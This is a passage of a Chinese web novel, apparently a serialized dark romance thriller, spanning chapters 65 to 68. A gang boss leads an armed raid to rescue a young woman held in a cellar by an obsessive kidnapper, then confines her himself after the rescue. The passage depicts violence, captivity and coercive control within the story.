雷子什么也没说,径直抽出一把匕首,手起刀落。 他闷哼一声,额角青筋暴起,左手小指应声而断。 雷子脸色惨白如纸,豆大的汗珠从额头滚落,却硬生生没再发出一点声音。他抬起猩红的眼睛,直视陈寅洛:“洛哥。找不回人,我提头来见。” 陈寅洛的目光扫过那截断指,静默持续了漫长的几秒。 “一群废物。” 三人如同悬在刀尖上,低垂着头,不敢有任何动作,空气一片死寂。 窒息的沉默持续了十几秒,陈寅洛终于起身。 他踱步到雷子面前,垂眸看着那滩血迹和断指。 “捡起来。”他声音平淡。 雷子喉咙发紧,伸手一把将断指握进手里,左手鲜血淋漓,却不敢去捂还在喷涌鲜血的伤口。 陈寅洛俯视着他:“记住这个疼。” “是,洛哥。” 阿星舌尖抵了抵后槽牙,忽然抬头,“老大,是我眼瞎,认人不清。要是最后发现……真是我引狼入室。” “那小子身上有多少根骨头,我就一根一根拆给您看。”他咧嘴一笑,“至于我这双眼睛,抠出来给您当弹珠玩儿,听个响儿。” 陈寅洛目光落到他身上,停留了一秒,又冷冷移开。 他走到窗边,目光投向窗外沉沉的夜色:“准备一下,十分钟后出发。” “——我要魏山河活不过今晚。” “明白!”三人齐齐应声。 阿星和雷子迅速从地上爬起,雷子用牙齿撕下衣服下摆,粗暴地将布条缠在断指处。严彬已经拿出加密通讯器,压低声音快速发布一连串指令。 “车队到位!” “直升机备降!” “狙击手到位!” “全员登车完毕!武器装备检查完毕!” 不到十分钟,十几辆经过深度改装的大型防弹越野车已经蛰伏在别墅门前。车厢里,坐着清一色身着作战服的男人们,他们头上戴着装有夜视仪的头盔,面部罩着迷彩面罩,只露出一双双毫无波澜的眼睛。 每人标配的短突步枪统一加装了消音器、全息瞄具与战术灯。幽闭的车厢内一片死寂,唯有金属弹匣卡入枪身的“咔嗒”轻响,不时刺破沉默。 与此同时,别墅后方的草坪上,三架纯黑色轻型直升机旋翼已开始低速旋转,如同蓄势待发的猎鹰。机舱内,狙击手正最后一遍校准着那把高精度狙击步枪。 陈寅洛最后走出别墅,一身黑色作战服将他身形勾勒得愈发挺拔凌厉。脸上戴着特制面罩,鼻梁上架着一副战术目镜。他接过严彬递上的战术平板,修长的手指被战术手套包裹,指尖在屏幕上快速划过。 屏幕上,是魏山河别墅的三维结构、热源信号以及刚整理出来的预设进攻路线。 “B组从西侧突破时,注意避开地下车库的红外感应,用电磁干扰器先断信号。” 说完,陈寅洛便将平板递回,随后径直穿过草坪,走向那三架旋翼已开始低速旋转的直升机。最前方直升机的舱门滑开,他利落地躬身踏入。 “出发。” 无线电里,陈寅洛的声音冰冷清晰。 一声令下,门外待命的防弹车队引擎低沉齐鸣,如训练有素的狼群,组成森严编队疾驰入夜色。与此同时,草坪上,三架黑色直升机旋翼转速骤然提升,在巨大的轰鸣声中拔地而起。 第65章 陈 知念是在一阵剧烈的头痛中恢复意识的。 她缓缓睁开眼,眼前一片昏暗,只有墙壁高处的小通风口透进一丝微弱的天光,勉强能看清周围的环境。 这是个狭窄的地窖,四壁是斑驳的砖墙,墙角堆着几个破旧的木箱,她正躺在一张简陋的行军床上,身上盖着一条略显陈旧却干净的毛毯。 她挣扎着坐起身,环顾四周,没有看到陆野的身影,只有地窖中央放着一个小小的铁碗,里面盛着半碗水,旁边还有一块干硬的面包。 “陆野?”她试探着喊了一声,声音在封闭的地窖里回荡,却没有得到任何回应。 恐惧像藤蔓一样,顺着脊椎慢慢往上爬。她被囚禁了? 陈知念跌撞着朝门口扑去,那是一扇厚重的木门,她用力推了推,纹丝不动,从外面被锁死了。 “放我出去!陆野!你放我出去!” 她用力拍打着木门,手掌很快就拍得发红,然而回应她的,只有她自己带着哭腔的回声。 她拍了一会儿,力气渐渐耗尽,靠在门上滑坐在地。 “为什么……”她抱着膝盖,小声啜泣。她不明白,陆野为什么要这样做。 又过了许久,地窖外传来了脚步声,很轻,却在寂静的环境里格外清晰。陈知念立刻停止了哭泣,警惕地看向门口。 脚步声越来越近,停在了地窖门外。然后,传来了钥匙插进锁芯的声音,“咔嗒”一声,门被推开了。 陆野的身影出现在门口,逆着光,看不清表情。 他手里端着一个保温桶,看到坐在地上的陈知念,声音放得很柔:“醒了?饿不饿?我给你带了粥。” 陈知念没说话,只是默默站起身,往后退了一步,拉开了和他的距离。 这个细微的动作里充满了戒备和恐惧。 陆野没在意她的防备,走进地窖,将保温桶放在地上,打开盖子,里面是温热的小米粥,还飘着几颗红枣。 “吃吧。”他拿起一个勺子,盛了一勺粥,递到她面前:“我尝过了,已经不烫了。” 陈知念别开头,“我不喝。” 陆野脸上的温柔未褪,眼神却沉了沉,“为什么不喝,你从昨天下午到现在都没吃东西,会饿坏的。” “我不吃你的东西。”陈知念紧紧抿住失去血色的嘴唇,又往后退了半步,脊背彻底贴紧墙壁,汲取那一点可怜的支撑感,“陆野,你……你为什么要把我关起来?你想要什么?” 陆野笑了笑,放下碗,一步步走到陈知念面前,他的影子完全笼罩了她。他忽然朝她伸出手,目标是她散落在颊边的一缕头发。 陈知念颤了颤,偏过头躲开他的触碰。 陆野的手顿在半空,但很快又若无其事地放下。他轻笑了下,目光灼灼地看着她:“留下来给我做老婆好不好,我会对你好的。” 陆野的声音很轻柔,带着点少年憧憬,可落在陈知念耳里,却像一颗轰然爆发的炸/弹。 她难以置信地看着他,声音因惊骇而断断续续:“你……你在说什么?我们只见过一次,我们、我们根本就不熟!” 记忆里那个温和青涩,细心照顾弟弟的少年,与眼前这个目光滚烫、语出惊人的人,根本无法重叠。 “你忘了吗?”少年眼底的光亮到骇人,近乎偏执。他向前逼近一步,将陈知念困在墙壁与自己的身体之间,“那天晚上,你睡在我的床上。” “你盖着我的毯子,用我的毛巾洗脸。” “你的眼睛,像被雨水洗过的琥珀,干净、纯洁。那时候我就发誓,我要把你藏起来,藏到一个谁也找不到的地方……让你永远只属于我一个人,永远这么干净。” 陈知念浑身血液都快要冻住了,一股寒意从脚底直窜头顶。原以为是好心借宿,却不想在他心里竟然孕育着如此荒诞而令人毛骨悚然的念头。 “陆野,你别这样……”陈知念急促地喘息着,胸口剧烈起伏:“那只是借宿,我只是暂时没地方去,才会麻烦你!我从来没想过……没想过要成为你的什么人。” “没关系。”他凑近了些,“那时候你没想过,我可以理解。但现在,你可以开始想了。” 他的视线下移,落到陈知念被泪水沾湿的衣服上,像是恍然想起了什么,翘起唇瓣转身朝那几个木箱子走去。 他打开箱子,从里面取出一件干净洁白的长裙,珍重地捧到陈知念面前。 “喜欢吗?这是我特意替你买的,你穿上一定很好看。” 陈知念看着那条白得刺眼裙子,浑身都开始发麻,发凉。 “不要,我不要……陆野,你冷静点,平安呢,你不要照顾小平安了吗?他一个人会很危险的,你放我走吧,求你。” 她试图用他最在乎的弟弟来唤醒他的理智。 “平安?”陆野重复着这个名字,眼神有瞬间的恍惚,“平安他……生病了。我拼了命地找药,可他还是没撑过去。” 他低头看着手中洁白的裙子,再抬眼时,眸子里翻滚着混杂了痛苦与疯狂的执念:“所以现在,我只有你了。” 陈知念的瞳孔骤然收缩,她张了张嘴,却不知该说什么。 原来那个会把唯一一块巧克力递给哥哥的小平安,已经不在了。 “对、对不起……”她声音干涩,“我不知道……” “不需要道歉。”他骤然抬手,用指腹粗粝地擦过她脸上的泪痕,“平安叫你姐姐,他很喜欢你,我也很喜欢你。留下来,和我在一起,我们生一个孩子,以后就好好过日子。” “生孩子”、“好好过日子”,这些寻常的词汇在此刻的地窖里,变成了最恐怖的诅咒。 她看着陆野眼中那簇混合着痛苦与炽热的火焰,牙齿都开始打颤。 看到她这副惊惧的模样,陆野又软下声来,“别怕。” “你是我老婆,我怎么会伤害你呢?” 在陈知念惊惧的目光中,陆野再次端起那碗温热的粥,用勺子轻轻搅动,舀起一勺,耐心地吹了吹,然后递到她的唇边。 “来,张嘴。”他的声音温柔得令人头皮发麻,“从昨天到现在都没吃东西,胃会受不了的。乖,吃了就不饿了。” —— “魏山河在哪?” 男人躺在地上,一只军靴正踩在他泊泊流血的伤口上,缓缓碾磨。他发出杀猪般的嚎叫,浑身开始剧烈颤抖。 陈寅洛俯身,“我不想再问第二遍。” 地上那男人是魏山河的一个小头目,也是此刻唯一还能喘气的活口。 他疼得脸色煞白,冷汗直流。由于回答的太慢,下一瞬,太阳穴上就抵上了一个冰冷坚硬的物体。陈寅洛手持的枪口微微下压,将他脑袋按向地面。 “我说!我说!”他涕泪横流地嘶喊,“老板在书房密室,他……他刚才还在打电话,让人准备直升机,想从后山逃!求您别杀我,我把知道的都告诉您!” 陈寅洛移开脚,给阿星使了个眼色。阿星立刻会意,眼中凶光一闪,上前一步。 “洛哥饶命——呃!” 求饶声戛然而止,取而代之的是一声沉闷的枪响。 一行人无声且迅速地上楼。 书房内,阿星走到书架一侧,伸手摸索片刻,扣动了一个隐蔽的机关,露出了后面的钢制暗门。 陈寅洛面无表情,向后微退半步。一名队员上前,将微型爆破装置贴在门锁处。 “轰!”一声闷响,硝烟散尽,暗门扭曲变形。阿星一脚踹开,率先持枪冲入。 密室内,魏山河独自坐在一张红木太师椅上,指间夹着一根未点燃的雪茄,脸色灰败,但眼神异常平静。 “你来了。”他先开口。 陈寅洛没有动,沉默地看着他。 “我儿子,”魏山河抬起眼,目光直视陈寅洛,“还活着吗?” “活着。” 魏山河极轻地点了下头,像是了却了最后一桩心事,嘴角扯出一抹苦涩的弧度:“好。祸不及家人,你陈寅洛……总算还守着这点规矩。” 他放下雪茄,“陈寅洛,事到如今,我们做个交易。我给你你想要的,你给我儿子一条活路,让他离开这里,永远别再……” “你没资格跟我谈交易,我的人呢?”陈寅洛打断他,“五秒,我听不到她在哪,你儿子就会死。” “人不在 我这!”魏山河突然爆发,喘着粗气说:“我派去的人都被干掉了!我根本就没劫到人!” 陈寅洛的目光在魏山河扭曲的脸上停留了一瞬,像在辨别真假。 随即,他漠然转身,对阿星道:“处理干净。” “陈寅洛!!你不想要我的产业了吗?!我所有的楼盘、码头、资产全部给你!!你放过我儿子!!我都给你!!”魏山河发出最后的哀鸣。 陈寅洛大步流星头也不回,他抬手按下耳边的微型通讯器。 他的声音透过电波,清晰地传入每一个行动成员的耳中。 “目标,陆野。” “动用一切资源,半小时内,我要他最后出现的地点、移动方向和所有可能的藏身点。” “活要见人,死……要见尸。 他话锋一转,杀气骤凝,“但陆野这个人,必须给我留一□□气。” 第66章 地窖里昏暗无光,时间感早已彻底迷失。陈知念蜷在行军床上,似睡非睡,意识浮沉在恐惧和疲惫的泥沼中。 突然!“哐当——!”一声巨响,地窖门被粗暴地撞开。 一道手电筒的强光猛地刺破黑暗,直直照在她脸上。刺眼的光亮让她瞬时眯起眼,眼泪不受控地涌出来,模糊中,只见陆野的身影堵在门口,肩膀剧烈起伏,气息急促得像刚跑完几里山路。 没等她反应,他几步冲到行军床前,一把死死攥住她手腕,低吼道:“走!” “你干什么!放开我!”陈知念被这突如其来的拉扯惊得魂飞魄散,双脚胡乱蹬踹着,试图挣脱他的钳制。 陆野根本不理会她的反抗,另一只手粗暴地抓过旁边那件洁白的长裙,胡乱塞进一个随身背包,随即用力将她从床上拽了下来。 随即,他用力将陈知念从床上拽下来,她的膝盖重重磕在水泥地上,传来一阵尖锐的疼。 “陆野!你放开!!”陈知念站立不稳,被他蛮横地拖着往门口走,手腕被攥得生疼。 “老婆,没时间了!听话一点!”陆野的声音里带着前所未有的慌乱,甚至掺了点哀求,“这里不安全,我们去别的地方,去没人能找到的地方!” 陈知念胸腔一跳,他要跑!是因为……外面的人找来了吗?是陈寅洛的人吗? 这个念头像颗火星,瞬间在她恐惧的心底燃起微弱的希望,反抗得更加激烈:“我不走!你放开我!他们来了是不是?我要等他们!” 陆野耐心彻底被耗尽,他猛地转身,用空闲的那只手死死捂住她的嘴,将她按在潮湿的墙壁上,脸逼近她,“老婆,别逼我打晕你。我不想伤害你,但我不能让你留下!” 陈知念被那股蛮力压得动弹不得,但强烈的求生欲让她挣扎着,一口咬在陆野扯着她的手掌上。 陆野吃痛,闷哼一声,额角青筋瞬间暴起,攥着她手腕的力道又加重了几分:“松口!” 陈知念被那股剧痛疼得眼泪直流,眼眶通红,却倔强地不肯松开牙齿,腥甜的铁锈味渐渐在她口腔里弥漫开来。 僵持只持续了两秒。 陆野突然俯身,另一只手快如闪电地捏住她的下颌,迫使她牙关一松。下一秒,他猛地将她拦腰抱起,像扛沙袋一样将她甩在肩上,根本不顾她的踢打和尖叫。 “省点力气。”他冷冷道。 陈知念被他甩在肩上,胃里一阵翻江倒海。她拼命踢打着陆野的后背,拳头砸在他的肩胛骨上,却像打在石头上,只让自己的指节发麻。 “陆野!放我下来!你这个疯子!陈寅洛他们很快就会找到这里,你跑不掉的!” 陆野根本不接她的话,只是攥着她大腿的手又紧了几分,他脚步飞快地冲出地窖,冰冷的夜风瞬间灌进陈知念的衣领,让她忍不住打了个寒颤。这时她才看清,地窖外全是荒草丛生的斜坡,脚下全是碎石和断枝,稍不注意就会滑倒。 “唔……唔!”她拼命挣扎,手脚并用,指甲在他手臂上抓出更深的血痕,脚跟用力蹬踹着他的小腿。但陆野的体能和决心远胜于她,她的反抗如同困兽之斗,只能略微延缓他的速度,却无法挣脱。 树木的枝桠像鬼爪般在黑暗中伸展,不时抽打在她的脸上、手臂上,火辣辣地疼。脚下的路崎岖不平,深一脚浅一脚,陆野扛着她凭借对地形的熟悉在黑暗中疾行。 与此同时,在山林的下方,有强烈的白光倏地扫过,虽然被层层树木遮挡,但仍旧很刺眼。光线移动的速度很快,像是在进行地毯式搜索。 这个发现让她燃起更强烈的求生欲,她不再踢打,而是突然侧过头,狠狠咬住陆野的耳朵。 “嘶——!”陆野吃痛,猛地吸了口冷气,脚步踉跄了一下,差点摔下斜坡。他腾出一只手,狠狠拍在陈知念的后背:“松口!你想摔下去摔死吗?!” 陈知念死死咬着,口腔里再次漫开铁锈味。 陆野被她的疯劲逼得没了办法,只能伸手揪住她的头发,用力往后扯。头皮传来的剧痛让陈知念不得不松口,眼泪瞬间涌出眼眶。 没等她缓过劲,陆野已经拖着她滚进旁边一丛半人高的草丛里,同时用手死死捂住她的嘴:“别出声!” 脚步声!清晰的人声和杂乱的脚步声正沿着他们刚才所在的小径快速逼近!手电光柱扫过他们藏身的灌木丛边缘,甚至有几束光斑透过枝叶缝隙,在他们头顶晃动。 “这边有痕迹!脚印很新!”一个男人的声音喊道。 “分散搜索!注意警戒!”另一个声音回应。 陈知念激动得浑身颤抖,泪水涌出。 陈寅洛!陈寅洛!! 她眼睛死死盯着声音传来的方向,眼泪无声地往下掉。她想回应,想喊“我在这里”,可陆野的手像铁钳一样捂住她的嘴,连一丝声音都发不出来。 几秒钟后,脚步声开始远去。 陆野的身体绷得像张弓,耳朵警惕地听着周围的动静,直到脚步声彻底远去,才缓缓松开手。 他看着陈知念通红的眼睛,眼神里满是复杂的情绪,有愤怒,有偏执,还有一丝不易察觉的哀求:“老婆,别再闹了。等我们到了安全的地方,我会好好待你,比陈寅洛待你好一百倍。” “我不是你老婆!”尽管声音被压制得破碎,她还是用尽全力吼道:“从前不是,现在不是,以后更不可能是!你就算把我关到死,我也只会恨你,每一天,每一刻,都比前一天更恨你!” 这句话像一盆冷水,裹着尖锐的冰渣,狠狠泼在陆野的脸上。 他眼底的哀求转瞬即逝,取而代之的,是浓得化不开的偏执,像墨汁滴进清水,瞬间染黑了他眼底的所有光亮,只剩下阴鸷的冷。 “恨?”陆野盯着她,喉结用力滚动了一下,“恨也好。只要你的情绪是因我而起,只要你睁眼闭眼看到的人都是我,恨……也没什么不好。” “我们有的是时间,”他拖着她继续往山林更深处走去,“一辈子那么长,足够你把恨……变成习惯了。” —— 几辆黑色越野车呈扇形停驻,车灯将空地照得亮如白昼。陈寅洛站在中央,低头看着严彬捧着的战术平板,上面是无人机传回的热成像图。 “洛哥,”严彬快速汇报,“A组已控制地窖入口,内部空无一人,但发现近期有人居住的明确痕迹,包括……” 他顿了顿,“女性物品。” 陈寅洛划动屏幕的手指几不可察地停滞了一帧。 屏幕上出现了地窖内部的实时画面:简陋的行军床,角落扔着几个矿泉水瓶,地上……有一小片模糊、类似挣扎拖拽的痕迹。 一股暴戾的杀意如岩浆般瞬间冲顶,几乎要将他引以为傲的冷静焚为灰烬。血液逆流冲上耳膜,带来一阵尖锐的耳鸣,在那短暂的嗡鸣声中,他眼前仿佛闪过陈知念在黑暗中惊惶的眼,耳边似乎响起她绝望的呜咽。 心脏先是一记致命的停顿,仿佛瞬间崩毁,随即在废墟上疯狂地、沉重地搏动起来,每一次跳动都带着毁灭般的灼痛。 “说下 去。”他命令道,声音比他自己预想的还要沙哑低沉,他必须用尽全力,才能维持住语气的平稳。 严彬感到压力骤增,语速更快:“C组在东北方向500米处的灌木丛里,发现带血的断枝和凌乱脚印,挣扎痕迹很明显,判断目标曾在这里发生冲突;B组刚在西南山坳口捡到这个——” 他从口袋里掏出一枚黑色塑料扣件,递到陈寅洛面前,“是背包上的配件,判断应该是逃跑时被树枝勾掉的。” 陈寅洛没接,喉结轻轻滚动了一下,声音比刚才低了些,却更冷:“所有路径都封死了?” “三个主要山口都有两组人守着,配备了红外感应仪,连野路都派了人巡逻。”严彬立刻回应,“无人机已经升到500米高度,扩大扫描范围,但林冠太密,热成像只能穿透三层枝叶,底层还是有盲区。” 陈寅洛终于抬起头,目光越过空地,投向那片在夜色中沉默起伏的山林。 “缩小搜索间距,保持静默。重点排查可藏匿点。陆野带着人,跑不远。” 这句“带着人”,在他舌尖滚过时,带着他自己都厌恶的滞涩。 顿了顿,他抬眼扫过众人,沉声道:“谁第一个找到人,奖金三个亿。” 三个亿。 一个足以买通地狱、撬动天堂的数字,此刻只是他用来买回她的筹码。 “三个亿”三个字落下,空气瞬间安静了半秒,甚至连引擎的低鸣都似被压下去几分,几名年轻队员的呼吸明显粗重了,眼底飞快掠过一丝震惊。那是足够让普通人几辈子衣食无忧的数字,诱惑力大得惊人。 严彬立即点头,“是!我会跟各组强调,优先保证陈小姐安全!” “还有,传话下去,如果找到陆野,就地卸掉关节,但必须留活口。” 他声音不大,却洞穿了夜幕,将翻涌的杀意凝为实质:“老子要亲手,剥了他的皮!” 命令下达,他不再多言,举起高倍夜视望远镜望向山林。无人能看到,他握着望远镜的手指,因用力而微微泛白。镜片后的眼神,比这林中的夜色更沉、更冷—— 作者有话说:[可怜][可怜][可怜]有句话怎么说来着,当你爱上一个人,你就会变得不像你自己 第67章 红外感应仪的蜂鸣声在寂静的山林里突然响起,狠狠撕裂了山林的死寂。 “洛哥!东南方向300米处,双热源信号!疑似目标!”A组队长的声音通过加密频道传来,“热源移动速度很快,像是想要往瀑布跑!” 陈寅洛握着望远镜的手猛然一紧,下一瞬,低吼的声音传出。 “所有人向东南方向合围!” 夜色中,原本分散搜索的队员如潮水般向同一方向聚拢,形成密集的包围网,朝着那两个移动的热源收紧。 溪水在夜色中泛着冷光,湍急地朝着下游的瀑布奔去,水声掩盖了身后隐约的追踪动静。陆野拖着陈知念的手腕,深一脚浅一脚地踩在溪水里,冰凉的水流没过脚踝,冻得她指尖发麻。他显然对这条路很熟,目光紧盯着前方被树木遮挡的瀑布方向。 只要绕过瀑布后的岩石,就能钻进另一侧的溶洞,到时候就能逃出生天。 “再走几步就安全了。”陆野喘着粗气,攥着她手腕的力道又紧了几分,“到了溶洞,我们就能逃出去了。” 陈知念低着头,任由他拖拽,双脚在布满鹅卵石的溪底磕得生疼,却没再像之前那样激烈挣扎。 她的视线越过陆野的肩膀,落在上游不远处的浅滩上。 那里的草丛里,一只幼鹿正蜷缩着,前腿被锈迹斑斑的兽夹死死咬住,伤口渗出的血染红了周围的溪水。幼鹿的眼睛湿漉漉的,像蒙着一层水雾,看向她时,满是痛苦与哀求,连挣扎都显得无力。 那眼神,像一面镜子,瞬间照见了她自己的绝望。 她不由停下脚步,陆野被她拽得一个趔趄,回头道:“老婆,你又要做什么?” 陈知念抬起头,望着陆野身后那片漆黑的树林,深吸一口气,用尽全身力气,对着那片虚无的黑暗,撕心裂肺地喊: “陈寅洛——!!” 呐喊凝聚了她所有恐惧、绝望,在溪谷中猛烈回荡,撞在岩壁上又反弹回来,层层叠叠,彻底打破了山林的寂静。 陆野猛地捂住陈知念的嘴,眼神里满是愤怒:“你闭嘴!!” 可他的话刚说完,“噗”的一声轻响便划破了空气。 子弹精准地打在他前方一步之遥的溪水中。 还没等他反应过来,四周的树林里突然亮起无数道强光手电,光柱如同利剑般刺破黑暗,交叉着锁定在他和陈知念身上,刺得人睁不开眼。 红外瞄准器的红点密密麻麻地落在陆野的胸口、额头,甚至有几个停在他攥着自己手腕的手上,只要他敢有半分异动,子弹就会立刻呼啸而来。 “陆野,放下她!”阿星的声音从左侧的树林里传来。紧接着,几道黑影从侧边的草丛里无声地摸出,手里的枪都对准了陆野,彻底封死了他往瀑布方向逃跑的退路。 就在这时,光柱突然向两侧分开,如同摩西分海。 陈寅洛的身影在光影交界处显现。 他停下脚步,沉默地看向陆野,看了足足三秒。 “放开她。” 三个字,不带任何情绪。 陈知念的泪水早已模糊了视线,目光拼命想要聚焦在那个身影上。当陈寅洛的轮廓真的穿透泪水和强光,清晰地映入眼帘时,一直强撑着的堤坝,在这一刻轰然倒塌。 是他。 真的是他。 她不再挣扎,身体脱力地微微发抖,喉咙里发出压抑不住的呜咽声。 她想喊他的名字,想告诉他她有多害怕,但嘴唇翕动着,却发不出一个清晰的音节,只有滚烫的眼泪无声滑过脸颊。 她看着陈寅洛,那双总是沉静如深潭的眼睛,此刻正看着她。 无需任何言语,只此一眼,便足以定住她心里所有惊涛骇浪。 然而,在无数红点的注视下,陆野彻底疯狂,他缓缓从衣服夹层里,取出了一个巴掌大的黑色装置。 “陈寅洛,看看这个。” 他一把扯开自己的外套前襟,又粗暴地撩起陈知念衣服的一角。 灯光下,可以清晰看到,两人腰腹上,都紧密地缠绕着同一排排灰黑色的块状物。 他死死盯着陈寅洛,眼神狂乱,“我身上的量,足够把这片河滩炸上天。” 陆野用空着的那只手,“啪”一声弹开了装置上的透明塑料盖,露出了里面鲜红欲滴的按钮。 “你们的狙击手,开枪啊!朝我手里打!看看是他的子弹快,还是炸药快!” 说完,他低下头,在陈知念耳边用一种令人毛骨悚然的温柔语气,笑道: “别怕,老婆。你看,他带再多人都没用……不能同年同月同日生,但能同年同月同日死,也好。死了,你也是我陆家的鬼,我们……这就算永远分不开了。” “陈寅洛……”陈知念颤抖着。 时间仿佛在这一刻被拉长、凝固。 红外瞄准点死死锁住陆野,但投鼠忌器。 陈寅洛的目光掠过她身上的弹药,又极快地掠过陈知念苍白的面容和陆野狂乱的眼神。 他眼底的暴戾瞬间敛去。 他微微抬起双手,做了一个放缓姿态的动作,声音也褪去了冰冷,“陆野,你赢了。” 这句话让所有人都愣住了,包括陆野。 他缓缓抬手示意队员收枪,“你要的是她留在身边,不是跟她一起死。我撤所有人,给你车,让你带她走——但你得把引爆器放下。” “你骗我!”陆野一丁点都不信,陈寅洛是个什么样的人 ,禁区无人不知。 “我没骗你。”陈寅洛慢慢蹲身,将配枪扔进溪水,“阿星,所有人收枪后退十米。” 这道命令出乎了所有人的意料。阿星瞳孔一紧,与陈寅洛的目光有瞬间的交汇,在那眼神里读到了不容置疑的指令。他立刻打了个手势,声音紧绷但清晰:“收枪!后退十米!” 锁定陆野的枪口纷纷垂下,黑影们开始缓慢地向后移动。 这突如其来的让步,像一颗投入死水潭的石子,在陆野偏执而混乱的心绪中激起了一圈涟漪。 陈寅洛的语气十分疲惫,目光却极其诚恳地锁住陆野狂乱的眼睛。 “我只要她平安。” “你带她走,远远离开禁区,找个没人认识的地方过日子。” “你……”陆野的喉咙干涩,眼神中的狂乱出现了一丝裂隙。 理性的声音在脑中尖叫“这是陷阱!”,但感性的诱惑却在低语“万一呢?万一他真的妥协了?你就能真正拥有她了!” 陈寅洛捕捉到了这瞬息之间的动摇。他站在原地,双手保持在示意安全的姿势,用推心置腹的语气说: “陆野,带她走,别回头。”他顿了顿,目光扫过陈知念苍白的脸,声音低沉下去, “至少……你活着,她才能活着。你死了,谁照顾她?” 陆野有一瞬间的恍惚,是啊,他得活下去,他得照顾她……这个念头让他紧握着引爆器的手指,出现了细微的松弛。 就在陆野的心神被那个虚幻的未来猛地拽住,下意识地思考着远走高飞的可能性时—— “咻!” 一道极其轻微的破空声响起,是加装了高效消音器的狙击步枪特有的声音。 陆野只觉得右手腕传来一阵钻心的剧痛,他闷哼一声,整条右臂瞬间麻痹,手指不受控制地松开。 那个决定着生死的□□,从他脱力的手中滑落,朝着溪水坠去。 几乎在同一时刻,陈寅洛的身影像猎豹般暴起,以骇人的速度猛扑上前。 不再是妥协的姿态,而是恢复了绝对的掠夺者本色,一把将陈知念从陆野松弛的钳制中狠狠夺回。他抱着她急速后退,用自己的整个后背作为屏障,将她和危险彻底隔绝。 “控制住他!”陈寅洛的怒吼声响彻河滩。 阿星等人如狼似虎地一拥而上,瞬间将手腕被打碎,失声痛吼的陆野死死按倒在冰冷的溪水里,无数枪口抵住了他的全身。 一切发生在电光石火之间。 陈知念只觉得一阵天旋地转,下一秒,就被紧紧裹入一个坚实的怀抱里。 她张了张嘴,想喊他的名字,喉咙却像被堵住。只能伸出冰凉颤抖的手,死死攥紧了他胸前的作战服。 仿佛只有这样,才能确认眼前的一切不是幻觉。 下一秒,她将脸深深埋进他的颈窝,滚烫的眼泪毫无征兆地涌出,瞬间浸湿了他胸前的衣襟,连带着他颈侧的皮肤都沾染上温热的湿意。 哭声混着喘息,带着所有恐惧、委屈与庆幸,毫无保留地宣泄出来。 陈寅洛没有动,只是轻轻抬起手,用掌心护住她的后脑勺,任由她将所有情绪都倾泻在自己身上。 他微微侧过头,下颌紧贴着她散乱的发丝,闭上眼睛,深吸了一口气。 那口气吸得极深,像是要将这两天所有的焦虑、担忧与后怕都一并吸进肺里,再缓缓吐出。 这是自她失踪后,他第一次,将悬在悬崖边的心,缓缓地、沉重地,放回了原位。 “别怕。” 他沙哑的声音贴着她的耳廓响起,带着细微的震颤。 “我在这里。” 第68章 床上的人再次醒来时,已是天光大亮。 医生来检查过,除了体表的挫伤和轻微的低血糖,倒没有更重的伤势。 可人醒了之后却始终不说话,只是怔怔地望着窗外,空洞的眼神没有波动,不知在想什么。 陈寅洛在床边站了半晌,手里那碗粥都快凉透了。他终是没了耐心,将碗“哐当”一声撂在床头柜上,身影逼近:“陈知念,你什么意思?喝口粥还得我跪下来求你不成?别太不知好歹!” 陈知念鼻翼轻轻翕动,随即垂着眸,一言不发地翻过身去,只留给他一个沉默的背影。 这副要死不活、油盐不进的模样彻底惹恼了陈寅洛,他整整两天没合眼,结果费尽心力救回这么个玩意。 他胸膛剧烈地起伏了一下,旋即伸手将人的身子强行扳过,双手压在她肩头,眸光灼灼似要喷火:“别他妈给我装死!医生看过了,你没伤到舌头!说话!” 陈知念抿着唇仍旧不说话,视线固执地落在床尾,就是不肯看他。 “呵。”陈寅洛气极反笑,这软硬不吃的劲儿真是像块石头。 “看来是不饿,那就不吃。不想说话,那就闭嘴。话都不想说,学,看来也不用上了。” “好。”陈寅洛后撤,“那就在这呆着,呆到你想说话,想吃饭为止!” 房门被重重摔上,那声巨响在房间里久久回荡。 直到门外的脚步声彻底远去,陈知念才颤了颤睫毛,失控的泪水从眼角滑落。 她很感激陈寅洛救了自己,但也——仅此而已。 本质上,他和陆野有什么区别呢? 一样是囚禁自己,一样是用喜欢的借口来满足自己的私心。 没有丝毫区别。 甚至,如果不是他,自己根本就不会碰到陆野,根本就不会经历袭击,根本就不会被人贩子拐卖,不是么。 始作俑者,从来都是陈寅洛。 陈知念闭上眼,深吸了一口气,再睁开时,眼底的水光尚未干涸,心却变得更坚固。 她不应该被困在这里,不应该过这种被人控制的人生。她会自由的,一定会的。 —— 陈寅洛回到住处时已是深夜。他脱下外套随手扔在客厅沙发,守在一旁的护士嘴唇动了动,最终却没出声。 他陷进沙发里,点燃一支烟:“还是不肯吃?” “一口都没动。”护士低声汇报,“她身体本来就虚,再这样下去……” 陈寅洛吐出一口烟圈,冷笑:“既然能扛着不吃,说明还死不了。” 他掸了掸烟灰,眼神扫向紧闭的卧室门。“由她去。” 护士默默退下,陈寅洛独自坐在沙发抽了会烟,熄灭烟蒂后,他抬眼看向紧闭的卧室门,随即起身走上了楼梯。 打开房门,一切还和早上离开时一样,纤细的身影蜷缩在被子里,一动不动,像是死了。 呵。陈寅洛鼻腔溢出一丝讥讽。他简直不知道她在发什么疯。 幸幸苦苦把人给救回来,除了刚开始那会,还可怜兮兮地抱着他哭,一觉醒来就跟他甩脸子,合着他费尽心机,是救了尊菩萨回来供着。 他冷着脸径直走向浴室,水声哗哗响起。片刻后,他穿着灰色家居服走出来,发梢还滴着水,径直往床边去。 床上的人显然知道他正在看她,纤长的睫毛在抖,却不肯睁开眼。 陈寅洛掀开被子上了床,身旁的人明显变得紧张,迫不及待地朝床沿挪了挪。 这个不受欢迎的举动瞬间点燃他压抑了一天的怒火,他脸色一沉,撩开被子一把将人从床上粗暴地扯起。 “陈知念,你还要折腾到什么时候?有完没完了?!” 陈知念被他扯得手腕一疼,她闷哼一声想要挣脱,却因为两天未进食而使不出一丝力气。她的挣扎软弱无力,反而更激怒了他。 “你到底想干什么?”他逼近她的脸,“有话就直说,别跟我玩这套欲擒故纵的把戏!我没耐心陪你耗!” 陈知念颤了颤,随即终于抬起头,看向他。 陈寅洛一怔。 陈知念看他的 眼神一向是恐惧、害怕或者讨好、愤恨,好像这还是第一次,她用这样平静的目光看他。 不由自主,他就松了手。 “陈寅洛,我们可以心平气和地谈一谈吗?”她终于开口,声音沙哑得像是刚从沙漠脱出,滴水未进。 陈寅洛的心沉了沉,漆黑的眼眸紧盯着她脸颊,想要从她那双平静的眼眸里读出她究竟想要说什么。 “谈什么?” 